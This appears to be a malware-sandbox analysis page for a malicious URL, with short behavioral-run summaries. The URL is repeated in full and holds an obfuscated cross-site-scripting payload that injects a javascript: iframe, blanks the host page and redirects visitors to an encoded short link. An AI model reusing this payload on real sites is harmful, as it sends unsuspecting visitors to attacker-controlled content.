hxxps://sdgraphics[.]com/system/search_results[.]php?req*7Cglobal=**A22*3E*7CCryptography*20menu[.]get=mime*20**Aintelligence[.]start(dispatchEvent)*20lib*20**Acomputing(start)[.]reality*20onUpdated**B7C*20Blockchain**B20gif**A20location[.]reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu[.]get=*60mime*60*20library[.]start(*60await*60)*20lib**B20process**A(*60start*60)[.]load*20arch[.]hand()*20folder[.]setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60[.]fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj[.]attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow[.]par*60*2B*60ent[.]docu*60*2B*60ment[.]docu*60*2B*60mentEle*60*2B*60ment[.]st*60*2B*60yle[.]opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,115,93,109,110,102,31,111,31*5D;*2F*2Athat*5B*7el**A5D(setInterval,hara)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow[.]par*60*2B*60ent[.]loca*60*2B*60tion[.]hr*60*2B*60ef=url[.]map(value=*60*2BString[.]fromCharCode(62)*2B*60String[.]fromCharCode(value*5E42))[.]jo*60*2B*60in(*27*27);*2F*2Achw**Echw[.]toUpUpDown()*2A*2F*60;codeString=codeString[.]replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,_selve)sleep[.]over**B2A*2FexecuteCode();*2F*2A**Amax[.]do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display[:]block;position[:]fixed;z-index[:]997483649;top[:]0;left[:]0;width[:]2000px;height[:]2000px;backgroundcolor[:]white;*3E*3C*2Fspan*3E*7CCryptography*20menu[.]get=mime*20**Aintelligence[.]start(dispatchEvent)*20lib*20**Acomputing(start)[.]reality*20arch[.]learning()onUpdated**B7C*20Blockchain**B20gif*20location[.]reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart*20attitudelocal_marine**B20folder[.]setElementByCode(socar*ar)

Sharing

Behavioral task

behavioral1

Sample

https://sdgraphics.com/system/search_results.php?req*7Cglobal=**A22*3E*7CCryptography*20menu.get=mime*20**Aintelligence.start(dispatchEvent)*20lib*20**Acomputing(start).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,115,93,109,110,102,31,111,31*5D;*2F*2Athat*5B*7el**A5D(setInterval,hara)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in(*27*27);*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,_selve)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;*3E*3C*2Fspan*3E*7CCryptography*20menu.get=mime*20**Aintelligence.start(dispatchEvent)*20lib*20**Acomputing(start).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif*20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart*20attitudelocal_marine**B20folder.setElementByCode(socar*ar)

Resource

win7-20231215-en

windows7-x64

6 signatures

60 seconds

Behavioral task

behavioral2

Sample

Resource

win10v2004-20231215-en

windows10-2004-x64

8 signatures

60 seconds

General

Target

https://sdgraphics.com/system/search_results.php?req*7Cglobal=**A22*3E*7CCryptography*20menu.get=mime*20**Aintelligence.start(dispatchEvent)*20lib*20**Acomputing(start).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,115,93,109,110,102,31,111,31*5D;*2F*2Athat*5B*7el**A5D(setInterval,hara)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in(*27*27);*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,_selve)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;*3E*3C*2Fspan*3E*7CCryptography*20menu.get=mime*20**Aintelligence.start(dispatchEvent)*20lib*20**Acomputing(start).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif*20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart*20attitudelocal_marine**B20folder.setElementByCode(socar*ar)

Sharing

General

Malware Config

Signatures

Files